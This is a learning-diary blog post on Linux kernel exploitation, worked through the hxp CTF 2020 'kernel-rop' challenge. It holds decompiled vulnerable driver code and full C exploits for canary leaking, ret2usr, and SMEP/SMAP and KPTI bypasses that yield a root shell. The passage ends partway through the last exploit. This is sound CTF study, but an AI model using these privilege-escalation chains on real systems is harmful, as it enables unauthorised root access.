I’ve always dreamed of finding a Linux Kernel exploit, and I thought that since I had a month’s vacation, I’d start this adventure. The series of articles prefixed by L<X>:, for example L0:, serves as a roadmap (or more like a diary) for me as I learn new stuff.

Table of contents:

First step: Standard documentation

As with the start of any new project, it’s important to do your homework. And I think that before turning to google search and co, it’s best to read books. Not only does it support the authors, but it’s also more pleasant to read.

To begin with, I started reading the following book:

  • Understanding the Linux Kernel (Third Edition)

alt-text

The book is the Linux Kernel bible but it’s worth noting two things:

  • The first is that, it covers Linux Kernel version 2.6, which isn’t a problem in itself, since the principles taught in this book serve as theory.
  • The second point to note is that, having started with this book, it is very hard to access in the sense that the amount of information to be learned is consequent and it is theoretical knowledge.

I therefore recommend that you start by reading the following book:

  • Linux Device Drivers

alt-text

What’s cool is that this book is now available for free at the following address: https://lwn.net/Kernel/LDD3/

Then read the first book (Understanding the Linux Kernel). Indeed, I find the learning processes much easier to digest.

And the third book I recommend is:

  • A Guide to Kernel Exploitation: Attacking the Core

alt-text

For which I was only interested in the chapters concerning Linux (I skipped the chapters concerning Windows).

As the post goes on, I’ll update the references to books, articles, blog posts, etc.

We now have a lot of documentation at our disposal, and it’s a good idea to keep it close at hand, as it can often help us answer questions on the spot.

Second step: Practice by reading CTF writeups

The best way to learn is to practice, and there are two ways of doing this.

  • Read CTF writeups and try to reimplement challenge exploits.
  • Develop exploits for vulnerabilities made public (look for CVEs).

I recommend 7 challenges to be completed with the help of their writeups:

CTF Challenge Author Writeups
hxp CTF 2020 kernel-rop Martin Radev sisu
Christopher Krah aka 0xricksanchez aka 0x434b
Dang Le aka _lkmidas aka Midas
corCTF 2021 Fire of Salvation William Liu aka FizzBuzz101 aka willsroot William Liu aka FizzBuzz101 aka willsroot
corCTF 2021 Wall of Perdition Devil aka D3v17 aka 0xdevil Devil aka D3v17 aka 0xdevil
corCTF 2022 Cache of Castaways William Liu aka FizzBuzz101 aka willsroot William Liu aka FizzBuzz101 aka willsroot
corCTF 2022 CoRJail Devil aka D3v17 aka 0xdevil Devil aka D3v17 aka 0xdevil
corCTF 2023 smm-diary William Liu aka FizzBuzz101 aka willsroot William Liu aka FizzBuzz101 aka willsroot
corCTF 2023 sysruption William Liu aka FizzBuzz101 aka willsroot William Liu aka FizzBuzz101 aka willsroot

I’m sure there are many other challenges and I don’t mean to offend their authors, but unfortunately in the time I’ve given myself, I can only focus on those.

hxp CTF 2020: kernel-rop

The sources of the challenge can be downloaded at the following address:

alt-text alt-text

I’ve repackaged the sources and my solutions, and you can download them here.

Let’s analyze the kernel module

Once analyzed, two interesting functions can be observed:

  • ssize_t hackme_read(file *f,char *data,size_t size,loff_t *off)
  • ssize_t hackme_write(file *f,char *data,size_t size,loff_t *off)

You will find the definition of the functions below.

With Ghidra:

ssize_t hackme_read(file *f,char *data,size_t size,loff_t *off)
{
  long lVar1;
  long lVar2;
  ulong uVar3;
  ulong extraout_RDX;
  long in_GS_OFFSET;
  int tmp [32];
  
  __fentry__();
  lVar1 = *(long *)(in_GS_OFFSET + 0x28);
  __memcpy(hackme_buf,tmp);
  if (0x1000 < extraout_RDX) {
    __warn_printk("Buffer overflow detected (%d < %lu)!\n",0x1000,extraout_RDX);
    do {
      invalidInstructionException();
    } while( true );
  }
  __check_object_size(hackme_buf,extraout_RDX,1);
  lVar2 = _copy_to_user(data,hackme_buf,extraout_RDX);
  uVar3 = 0xfffffffffffffff2;
  if (lVar2 == 0) {
    uVar3 = extraout_RDX;
  }
  if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
    return uVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

alt-text

ssize_t hackme_write(file *f,char *data,size_t size,loff_t *off)
{
  long lVar1;
  long lVar2;
  ulong uVar3;
  ulong extraout_RDX;
  long in_GS_OFFSET;
  int tmp [32];
  
  __fentry__();
  lVar1 = *(long *)(in_GS_OFFSET + 0x28);
  if (0x1000 < extraout_RDX) {
    __warn_printk("Buffer overflow detected (%d < %lu)!\n",0x1000);
    do {
      invalidInstructionException();
    } while( true );
  }
  __check_object_size(hackme_buf,extraout_RDX,0);
  lVar2 = _copy_from_user(hackme_buf,data,extraout_RDX);
  if (lVar2 == 0) {
    __memcpy(tmp,hackme_buf,extraout_RDX);
    uVar3 = extraout_RDX;
  }
  else {
    uVar3 = 0xfffffffffffffff2;
  }
  if (lVar1 == *(long *)(in_GS_OFFSET + 0x28)) {
    return uVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

alt-text

With Cutter:

#include <stdint.h>
 
int64_t hackme_read (void) {
    int64_t var_a0h;
    int64_t var_20h;
    /* [09] -r-x section size 183 named .text.hackme_read */
    _fentry_ ();
    rdi = hackme_buf;
    r12 = rsi;
    rsi = &var_a0h;
    rbx = rdx;
    rax = *(gs:0x28);
    eax = 0;
    _memcpy (rbx, r12, *(gs:0x28));
    if (rbx <= 0x1000) {
        edx = 1;
        rsi = rbx;
        rdi = hackme_buf;
        _check_object_size ();
        rdx = rbx;
        rsi = hackme_buf;
        rdi = r12;
        rax = _copy_to_user ();
        rax = 0xfffffffffffffff2;
        if (rax == 0) {
            rax = rbx;
        }
        rcx = var_20h;
        rcx ^= *(gs:0x28);
        if (rax != 0) {
            goto label_0;
        }
        return rax;
    }
    rdx = rbx;
    esi = 0x1000;
    rdi = "Buffer overflow detected (%d < %lu)!\n";
    _warn_printk ();
    __asm ("ud2");
label_0:
    return _stack_chk_fail ();
}

alt-text

#include <stdint.h>
 
int64_t hackme_write (void) {
    int64_t var_a0h;
    int64_t var_20h;
    /* [05] -r-x section size 183 named .text.hackme_write */
    _fentry_ ();
    rbx = rdx;
    rax = *(gs:0x28);
    var_20h = *(gs:0x28);
    eax = 0;
    if (rdx > 0x1000) {
        goto label_0;
    }
    edx = 0;
    r12 = rsi;
    rdi = hackme_buf;
    rsi = rbx;
    _check_object_size ();
    rdx = rbx;
    rsi = r12;
    rdi = hackme_buf;
    rax = _copy_from_user ();
    if (rax != 0) {
        goto label_1;
    }
    rdi = &var_a0h;
    rdx = rbx;
    rsi = hackme_buf;
    _memcpy ();
    rax = rbx;
    do {
        rcx = var_20h;
        rcx ^= *(gs:0x28);
        if (rax == 0) {
            return rax;
label_0:
            esi = 0x1000;
            rdi = "Buffer overflow detected (%d < %lu)!\n";
            _warn_printk ();
            __asm ("ud2");
        }
        _stack_chk_fail ();
label_1:
        rax = 0xfffffffffffffff2;
    } while (1);
}

alt-text

As you can see, function hackme_read() and hackme_write() performs OOB read and write relatively to the array defined as int tmp[32] (present on the stack ). As a result, we are in the presence of a Stack Based Buffer Overflow. Now, let’s try to take control of the execution flow by overwriting the value of the RIP register but first let’s look at the epilogue of the functions:

add rsp, 0x88
pop rbx
pop r12
pop rbp
ret

So we know that the stack size is 0x88 (136 / 8 = 17) and that array int tmp[32] lenght is 32 * 4 / 8 = 16 (because in my calculations, I consider stack elements as unsigned long, which is simpler for me during leak). We can therefore deduce that the stack takes the following form:

alt-text

We’ll use function hackme_read() to leak information from the stack (eg. the stack canary, a value to detect buffer overflow exploitation) and use function hackme_write() to control the value of RIP (after rewriting the canary value at the correct offset).

Control RIP

QEMU options: nosmep nosmap nopti nokaslr

File: run.sh

#!/bin/sh
cd ../../

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64 \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nosmep nosmap nopti nokaslr quiet panic=1" \
    -s

File: Exploits/0_Control-RIP/exploit.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

#define CANARY_OFFSET 16
#define DEBUG 0


// This function open the device driver and
// return the associated file descriptor.
int open_device()
{
    int fd;

    printf("[*] Opening device driver.\n");
    fd = open("/dev/hackme", O_RDWR);
    if (fd < 0)
    {
        printf("[x] Failed to open device driver.\n");
        return -1;
    }
    printf("\t - fd: %d\n", fd);

    return fd;
}


// This function retrieve from the stack
// the value of the stack canary.
unsigned long leak_canary(int fd)
{
    int nost = 25; // Number of stack element to leak.
    unsigned long leaks[nost]; // Array containing "nost" stack elements.

    printf("[*] Looking for canary ...\n");

    size_t nobr = read(fd, leaks, sizeof(leaks));
    if (nobr < 0)
    {
        printf("[x] Failed to read %d bytes.\n", sizeof(leaks));
        return -1;
    }
    printf("\t - %d bytes read.\n", nobr);

    if (DEBUG)
    {
        for (int i=0; i<nost; i++)
        {
            printf("\t - %lx at offset %d\n", leaks[i], i);
        }
    }

    // I don't know why but running the exploit shows that the canary is
    // present at offsets 2 in addition to CANARY_OFFSET within array "leaks".
    if (DEBUG)
    {
        if (leaks[2] == leaks[CANARY_OFFSET])
        {
            printf("[*] Possible canary at offsets %d: %lx\n", 2, leaks[2]);
            printf("[*] Possible canary at offsets %d: %lx\n",
                CANARY_OFFSET,
                leaks[CANARY_OFFSET]);
            printf("\t - Value matches.\n");
        }
    }

    return leaks[CANARY_OFFSET];
}


// This function exploit the buffer overflow to
// write data after the tmp buffer and overwrite:
//     - tmp
//     - Stack Canary
//     - RBX
//     - R12
//     - RBP
//     - RIP
void overflow(int fd, unsigned long canary)
{
    unsigned long overflow[16+5];

    printf("[*] Crafting payload ...\n");

    printf("\t - Overwriting tmp.\n");
    for (int i=0; i<16; i++)
    {
        overflow[i] = 0x4141414141414141;
    }

    overflow[16] = canary;
    printf("\t - Overwriting Stack Canary with: %lx\n", overflow[16]);

    overflow[17] = 0x4242424242424242;
    printf("\t - Overwriting RBX with: %lx\n", overflow[17]);

    overflow[18] = 0x4343434343434343;
    printf("\t - Overwriting R12 with: %lx\n", overflow[18]);

    overflow[19] = 0x4444444444444444;
    printf("\t - Overwriting RBP with: %lx\n", overflow[19]);

    overflow[20] = 0x6161616161616161;
    printf("\t - Overwriting RIP with: %lx\n", overflow[20]);

    size_t nobw = write(fd, overflow, sizeof(overflow));
}


int main()
{
    int fd;
    unsigned long canary;

    printf("[*] Start exploit.\n");

    fd = open_device();
    if (fd < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }

    canary = leak_canary(fd);
    if (canary < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }
    printf("[*] Canary: %lx\n", canary);

    overflow(fd, canary);

    return 0;
}

As I said in the exploit, the canary is present at offsets 2 in addition to CANARY_OFFSET within array leaks.

alt-text

Ret2Usr

QEMU options: nosmep nosmap nopti nokaslr

Now that we’re able to control RIP, let’s return to userland and get our root shell. To do this, we need to execute commit_creds(prepare_kernel(0)) and then restore the program execution context that we saved before exploitation, so that when we launch a shell, it is a privileged one.

alt-text alt-text

File: Exploits/1_Ret2Usr/exploit.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define CANARY_OFFSET 16
#define DEBUG 0


/* ---> Functions <---
    # cat /proc/kallsyms | grep prepare_kernel
        ffffffff814c67f0 T prepare_kernel_cred
    # cat /proc/kallsyms | grep commit_creds
        ffffffff814c6410 T commit_creds
*/
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;

// ---> Registers <---
unsigned long user_cs, user_ss, user_rflags, user_sp, user_rip;


// This function checks if the current userid is 0,
// if so we execute the binary "/bin/sh".
void shell(void)
{
    if (0 == getuid())
    {
        printf("[+] Root shell acquired.\n");
        system("/bin/sh");
    }
}


// This function open the device driver and
// return the associated file descriptor.
int open_device()
{
    int fd;

    printf("[*] Opening device driver.\n");
    fd = open("/dev/hackme", O_RDWR);
    if (fd < 0)
    {
        printf("[x] Failed to open device driver.\n");
        return -1;
    }
    printf("\t - fd: %d\n", fd);

    return fd;
}


// This function retrieve from the stack,
// the value of the stack canary.
unsigned long leak_canary(int fd)
{
    int nost = 25; // Number of stack element.
    unsigned long leaks[nost];

    printf("[*] Looking for canary ...\n");

    size_t nobr = read(fd, leaks, sizeof(leaks));
    if (nobr < 0)
    {
        printf("[x] Failed to read %d bytes.\n", sizeof(leaks));
        return -1;
    }

    // I don't know why but running the exploit shows that the canary is
    // present at offsets 2 in addition to CANARY_OFFSET within leaks.
    if (DEBUG)
    {
        printf("[*] Possible canary at offsets %d: %lx\n",
            CANARY_OFFSET,
            leaks[CANARY_OFFSET]
        );
    }

    return leaks[CANARY_OFFSET];
}


// This function saves the execution context of our program
// in userland so that it can be restored during exploitation.
void save_state(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax"
    );
}


// This function perform a privilege escalation by execucting
// commit_creds(prepare_kernel(0)) in userland.
void privilege_escalation(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "xor rdi, rdi;" // Arguments 1-6 are passed via registers (RDI, RSI, etc.) and the rest via the stack.
        "movabs rax, prepare_kernel_cred;" // We store the address of function prepare_kernel() in RAX.
        "call rax;" // We execute the function prepare_kernel().
        "mov rdi, rax;" // We retrieve the value returned by the function stored in RAX and store it into RDI.
        "movabs rax, commit_creds;" // We store the address of function commit_creds() in RAX.
        "call rax;" // We execute the function commit_creds().
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax"
    );
}


// This function exploit the buffer overflow to
// write data after the tmp buffer and overwrite:
//     - tmp
//     - Stack Canary
//     - RBX
//     - R12
//     - RBP
//     - RIP
void overflow(int fd, unsigned long canary)
{
    unsigned long overflow[16+5];

    printf("[*] Crafting payload ...\n");

    printf("\t - Overwriting tmp.\n");
    for (int i=0; i<16; i++)
    {
        overflow[i] = 0x4141414141414141;
    }

    overflow[16] = canary;
    printf("\t - Overwriting Stack Canary with: %lx\n", overflow[16]);

    overflow[17] = 0x4242424242424242;
    printf("\t - Overwriting RBX with: %lx\n", overflow[17]);

    overflow[18] = 0x4343434343434343;
    printf("\t - Overwriting R12 with: %lx\n", overflow[18]);

    overflow[19] = 0x4444444444444444;
    printf("\t - Overwriting RBP with: %lx\n", overflow[19]);

    overflow[20] = (unsigned long)privilege_escalation;
    printf("\t - Overwriting RIP with: %lx\n", overflow[20]);

    size_t nobw = write(fd, overflow, sizeof(overflow));
}


int main()
{
    int fd;
    unsigned long canary;

    printf("[*] Start exploit.\n");

    user_rip = (unsigned long)shell;

    fd = open_device();
    if (fd < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }

    canary = leak_canary(fd);
    if (canary < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }
    printf("[*] Canary: %lx\n", canary);

    save_state();

    overflow(fd, canary);

    return 0;
}

alt-text

We’re now going to bypass SMEP and SMAP, but first let’s explain what they are.

Bypass SMEP & SMAP

QEMU options: nokaslr nopti

SMEP (Supervisor Mode Execution Prevention):
The SMEP function is used to prevent attempts to execute code located in a memory space less privileged than that of the processor’s execution context. This function complicates the exploitation of certain operating system vulnerabilities, as it prevents the kernel from directly running code residing in the userspace memory, which is naturally more exposed to attack than the kernel itself.

SMAP (Supervisor Mode Access Prevention):
The SMAP function complements the SMEP function in that it prevents, for a given privilege execution context access to read/write memory pages marked at a lower privilege level. SMAP therefore detects read/write access by the kernel to user-space memory pages located in user space.

To bypass the security introduced by SMEP and SMAP we will use a technique called ROP.

ROP (Return-oriented programming):
The idea is to chain together small bits of assembly to get the program to do more complex things. In ROP attacks, we search for short sequences of instructions within the program’s memory, known as “gadgets” (the small bits of assembly). These are snippets of code that end with a ret instruction, which tells the program to return to the address specified on the stack.

File: run.sh

#!/bin/sh
cd ../../

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr nopti quiet panic=1" \
    -s

File: Exploits/2_Bypass-SMEP-SMAP/exploit.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define CANARY_OFFSET 16
#define DEBUG 0


/* ---> Functions <---
    # cat /proc/kallsyms | grep prepare_kernel
        ffffffff814c67f0 T prepare_kernel_cred
    # cat /proc/kallsyms | grep commit_creds
        ffffffff814c6410 T commit_creds
*/
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;

/* ---> Gadgets <---
Using objdump:
    # objdump -D vmlinux | grep -A1 "pop" | grep -A1 "rdi"|grep -B1 "ret" | grep -A1 "ffffffff810"
        ffffffff8100767c:	5f                   	pop    %rdi
        ffffffff8100767d:	c3                   	ret    
Using ropr:
    0xffffffff816bf203: mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
    0xffffffff8146d4e4: swapgs; pop rbp; ret;
    0xffffffff8100c0d9: iretq;
*/
unsigned long pop_rdi_ret = 0xffffffff8100767c;
unsigned long mov_rdi_rax_pop_rbp_ret = 0xffffffff816bf203;
unsigned long swapgs_pop_rbp_ret = 0xffffffff8146d4e4;
unsigned long iretq = 0xffffffff8100c0d9;

// ---> Registers <---
unsigned long user_cs, user_ss, user_rflags, user_sp, user_rip;


// This function checks if the current userid is 0,
// if so we execute the binary "/bin/sh".
void shell(void)
{
    if (0 == getuid())
    {
        printf("[+] Root shell acquired.\n");
        system("/bin/sh");
    }
}


// This function open the device driver and
// return the associated file descriptor.
int open_device()
{
    int fd;

    printf("[*] Opening device driver.\n");
    fd = open("/dev/hackme", O_RDWR);
    if (fd < 0)
    {
        printf("[x] Failed to open device driver.\n");
        return -1;
    }
    printf("\t - fd: %d\n", fd);

    return fd;
}


// This function retrieve from the stack,
// the value of the stack canary.
unsigned long leak_canary(int fd)
{
    int nost = 25; // Number of stack element.
    unsigned long leaks[nost];

    printf("[*] Looking for canary ...\n");

    size_t nobr = read(fd, leaks, sizeof(leaks));
    if (nobr < 0)
    {
        printf("[x] Failed to read %d bytes.\n", sizeof(leaks));
        return -1;
    }

    // I don't know why but running the exploit shows that the canary is
    // present at offsets 2 in addition to CANARY_OFFSET within leaks.
    if (DEBUG)
    {
        printf("[*] Possible canary at offsets %d: %lx\n",
            CANARY_OFFSET,
            leaks[CANARY_OFFSET]
        );
    }

    return leaks[CANARY_OFFSET];
}


// This function saves the execution context of our program
// in userland so that it can be restored after use.
void save_state(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax"
    );
}


// This function exploit the buffer overflow to
// write data after the tmp buffer and overwrite:
//     - tmp
//     - Stack Canary
//     - RBX
//     - R12
//     - RBP
//     - RIP
void overflow(int fd, unsigned long canary)
{
    unsigned long overflow[16+18];

    printf("[*] Crafting payload ...\n");

    printf("\t - Overwriting tmp.\n");
    for (int i=0; i<16; i++)
    {
        overflow[i] = 0x4141414141414141;
    }

    overflow[16] = canary;
    printf("\t - Overwriting Stack Canary with: %lx\n", overflow[16]);

    overflow[17] = 0x4242424242424242;
    printf("\t - Overwriting RBX with: %lx\n", overflow[17]);

    overflow[18] = 0x4343434343434343;
    printf("\t - Overwriting R12 with: %lx\n", overflow[18]);

    overflow[19] = 0x4444444444444444;
    printf("\t - Overwriting RBP with: %lx\n", overflow[19]);

    printf("\t - Overwriting RIP with ROP chain ...\n");
    overflow[20] = pop_rdi_ret;
    overflow[21] = 0x0000000000000000;
    overflow[22] = prepare_kernel_cred;
    overflow[23] = mov_rdi_rax_pop_rbp_ret;
    overflow[24] = 0x0000000000000000;
    overflow[25] = commit_creds;
    overflow[26] = swapgs_pop_rbp_ret;
    overflow[27] = 0x0000000000000000;
    overflow[28] = iretq;
    overflow[29] = user_rip;
    overflow[30] = user_cs;
    overflow[31] = user_rflags;
    overflow[32] = user_sp;
    overflow[33] = user_ss;
    size_t nobw = write(fd, overflow, sizeof(overflow));
}


int main()
{
    int fd;
    unsigned long canary;

    printf("[*] Start exploit.\n");

    user_rip = (unsigned long)shell;

    fd = open_device();
    if (fd < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }

    canary = leak_canary(fd);
    if (canary < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }
    printf("[*] Canary: %lx\n", canary);

    save_state();

    overflow(fd, canary);

    return 0;
}

alt-text

By using a technique such as ROP we are able to bypass SMEP and SMAP.

Bypass KPTI

QEMU options: nokaslr kpti=1

Kernel Page Table Isolation (KPTI):

Page Table Isolation (pti, previously known as KAISER 1) is a countermeasure against attacks on the shared user/kernel address space such as the “Meltdown” approach 2.

To mitigate this class of attacks, we create an independent set of page tables for use only when running userspace applications. When the kernel is entered via syscalls, interrupts or exceptions, the page tables are switched to the full “kernel” copy. When the system switches back to user mode, the user copy is used again.

The userspace page tables contain only a minimal amount of kernel data: only what is needed to enter/exit the kernel such as the entry/exit functions themselves and the interrupt descriptor table (IDT). There are a few strictly unnecessary things that get mapped such as the first C function when entering an interrupt (see comments in pti.c).

This approach helps to ensure that side-channel attacks leveraging the paging structures do not function when PTI is enabled. It can be enabled by setting CONFIG_PAGE_TABLE_ISOLATION=y at compile time. Once enabled at compile-time, it can be disabled at boot with the ‘nopti’ or ‘pti=’ kernel parameters (see kernel-parameters.txt). - https://www.kernel.org/doc/html/next/x86/pti.html

To keep things simple (please don’t hesitate to contact me and correct me if I’m wrong) KPTI isolates the kernel from userland by creating a special copy of the page table, reserved solely for the kernel. This means that even if a malicious program manages to read or modify the page tables of its own address space, it will not be able to affect the kernel. Each time a program attempts to access memory, the processor must translate the program’s virtual memory address into a corresponding physical memory address. With KPTI, this translation is performed using the kernel’s isolated page table.

alt-text

#!/bin/sh
cd ../../../

qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel vmlinuz \
    -initrd initramfs.cpio.gz \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \
    -s
Method 1: KPTI Trampoline

From our’s perspective, KPTI introduces a significant hurdle. However, there’s a concept known as “trampoline” that can potentially be leveraged to bypass this security measures. A trampoline is a small piece of code that redirects program flow. Think of it as a secret passage that could potentially allow us to circumvent some of the additional locks and guards that KPTI puts in place (it can be seen as the specific part of a ROP chain).

The trampoline we are interested in, is located in the function swapgs_restore_regs_and_return_to_usermode().

alt-text

alt-text

alt-text

Because the first instructions of function swapgs_restore_regs_and_return_to_usermode() are just pop we can directly start at instruction MOV param_1, RSP. Which is located at address 0xffffffff81200f26 (offset 0x16 from function begining).

>>> 0xffffffff81200f26-0xffffffff81200f10
22
>>> hex(22)
'0x16'

As you can see, the CALL instruction directly calls the swapgs function. And the JMP instruction allows us to chain it with a call to iretq.

alt-text

alt-text

Or if you prefer to check with gdb:

alt-text

File: Exploits/3_Bypass-KPTI/3.1_KPTI-Trampoline/exploit.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define CANARY_OFFSET 16
#define DEBUG 0


/* ---> Functions <---
    # cat /proc/kallsyms | grep prepare_kernel
        ffffffff814c67f0 T prepare_kernel_cred
    # cat /proc/kallsyms | grep commit_creds
        ffffffff814c6410 T commit_creds
    # cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
        ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
*/
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10;

/* ---> Gadgets <---
Using objdump:
    $ objdump -D vmlinux | grep -A1 "pop" | grep -A1 "rdi"|grep -B1 "ret" | grep -A1 "ffffffff810"
        ffffffff8100767c:	5f                   	pop    %rdi
        ffffffff8100767d:	c3                   	ret
Using ropr:
    0xffffffff816bf203: mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
    0xffffffff8146d4e4: swapgs; pop rbp; ret;
    0xffffffff8100c0d9: iretq;
*/
unsigned long gc_pop_rdi = 0xffffffff8100767c;
unsigned long gc_mov_rdi_rax_pop_rbp = 0xffffffff816bf203;
unsigned long gc_swapgs_pop_rbp = 0xffffffff8146d4e4;
unsigned long iretq = 0xffffffff8100c0d9;

// ---> Registers <---
unsigned long user_cs, user_ss, user_rflags, user_sp, user_rip;


// This function checks if the current userid is 0,
// if so we execute the binary "/bin/sh".
void shell(void)
{
    if (0 == getuid())
    {
        printf("[+] Root shell acquired.\n");
        system("/bin/sh");
    }
}


// This function open the device driver and
// return the associated file descriptor.
int open_device()
{
    int fd;

    printf("[*] Opening device driver.\n");
    fd = open("/dev/hackme", O_RDWR);
    if (fd < 0)
    {
        printf("[x] Failed to open device driver.\n");
        return -1;
    }
    printf("\t - fd: %d\n", fd);

    return fd;
}


// This function retrieve from the stack,
// the value of the stack canary.
unsigned long leak_canary(int fd)
{
    int nost = 25; // Number of stack element.
    unsigned long leaks[nost];

    printf("[*] Looking for canary ...\n");

    size_t nobr = read(fd, leaks, sizeof(leaks));
    if (nobr < 0)
    {
        printf("[x] Failed to read %d bytes.\n", sizeof(leaks));
        return -1;
    }

    // I don't know why but running the exploit shows that the canary is
    // present at offsets 2 in addition to CANARY_OFFSET within leaks.
    if (DEBUG)
    {
        printf("[*] Possible canary at offsets %d: %lx\n",
            CANARY_OFFSET,
            leaks[CANARY_OFFSET]
        );
    }

    return leaks[CANARY_OFFSET];
}


// This function saves the execution context of our program
// in userland so that it can be restored after use.
void save_state(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax"
    );
}


// This function exploit the buffer overflow to
// write data after the tmp buffer and overwrite:
//     - tmp
//     - Stack Canary
//     - RBX
//     - R12
//     - RBP
//     - RIP
void overflow(int fd, unsigned long canary)
{
    unsigned long overflow[16+18];

    printf("[*] Crafting payload ...\n");

    printf("\t - Overwriting tmp.\n");
    for (int i=0; i<16; i++)
    {
        overflow[i] = 0x4141414141414141;
    }

    overflow[16] = canary;
    printf("\t - Overwriting Stack Canary with: %lx\n", overflow[16]);

    overflow[17] = 0x4242424242424242;
    printf("\t - Overwriting RBX with: %lx\n", overflow[17]);

    overflow[18] = 0x4343434343434343;
    printf("\t - Overwriting R12 with: %lx\n", overflow[18]);

    overflow[19] = 0x4444444444444444;
    printf("\t - Overwriting RBP with: %lx\n", overflow[19]);

    printf("\t - Overwriting RIP with ROP chain ...\n");
    overflow[20] = gc_pop_rdi;
    overflow[21] = 0x0000000000000000;
    overflow[22] = prepare_kernel_cred;
    overflow[23] = gc_mov_rdi_rax_pop_rbp;
    overflow[24] = 0x0000000000000000;
    overflow[25] = commit_creds;
    overflow[26] = swapgs_restore_regs_and_return_to_usermode + 22;
    overflow[27] = 0x0000000000000000;
    overflow[28] = 0x0000000000000000;
    overflow[29] = user_rip;
    overflow[30] = user_cs;
    overflow[31] = user_rflags;
    overflow[32] = user_sp;
    overflow[33] = user_ss;
    size_t nobw = write(fd, overflow, sizeof(overflow));
}


int main()
{
    int fd;
    unsigned long canary;

    printf("[*] Start exploit.\n");

    user_rip = (unsigned long)shell;

    fd = open_device();
    if (fd < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }

    canary = leak_canary(fd);
    if (canary < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }
    printf("[*] Canary: %lx\n", canary);

    save_state();

    overflow(fd, canary);

    return 0;
}

alt-text

Method 2: Signal Handler

Signal handler is a piece of code within a program that responds to specific signals sent by the operating system or other parts of the program. It’s a crucial tool for handling exceptional conditions in user land and enabling communication between processes.

As the exception occurs in userland, we can define a signal handler to open a shell and take advantage of the rights we have granted ourselves within the kernel.

File: Exploits/3_Bypass-KPTI/3.2_Signal-Handler/exploit.c

#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define CANARY_OFFSET 16
#define DEBUG 0


/* ---> Functions <---
    # cat /proc/kallsyms | grep prepare_kernel
        ffffffff814c67f0 T prepare_kernel_cred
    # cat /proc/kallsyms | grep commit_creds
        ffffffff814c6410 T commit_creds
*/
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;

/* ---> Gadgets <---
Using objdump:
    $ objdump -D vmlinux | grep -A1 "pop" | grep -A1 "rdi"|grep -B1 "ret" | grep -A1 "ffffffff810"
        ffffffff8100767c:	5f                   	pop    %rdi
        ffffffff8100767d:	c3                   	ret
Using ropr:
    0xffffffff816bf203: mov rdi, rax; mov [rsi+0x140], rdi; pop rbp; ret;
    0xffffffff8146d4e4: swapgs; pop rbp; ret;
    0xffffffff819c67c7: iretq;
*/
unsigned long gc_pop_rdi = 0xffffffff8100767c;
unsigned long gc_mov_rdi_rax_pop_rbp = 0xffffffff816bf203;
unsigned long gc_swapgs_pop_rbp = 0xffffffff8146d4e4;
unsigned long gc_iretq = 0xffffffff819c67c7;

// --> Registers <--
unsigned long user_cs, user_ss, user_rflags, user_sp, user_rip;


// This function checks if the current userid is 0,
// if so we execute the binary "/bin/sh".
void shell(void)
{
    if (0 == getuid())
    {
        printf("[+] Root shell acquired.\n");
        system("/bin/sh");
    }
}


// This function open the device driver and
// return the associated file descriptor.
int open_device()
{
    int fd;

    printf("[*] Opening device driver.\n");
    fd = open("/dev/hackme", O_RDWR);
    if (fd < 0)
    {
        printf("[x] Failed to open device driver.\n");
        return -1;
    }
    printf("\t - fd: %d\n", fd);

    return fd;
}


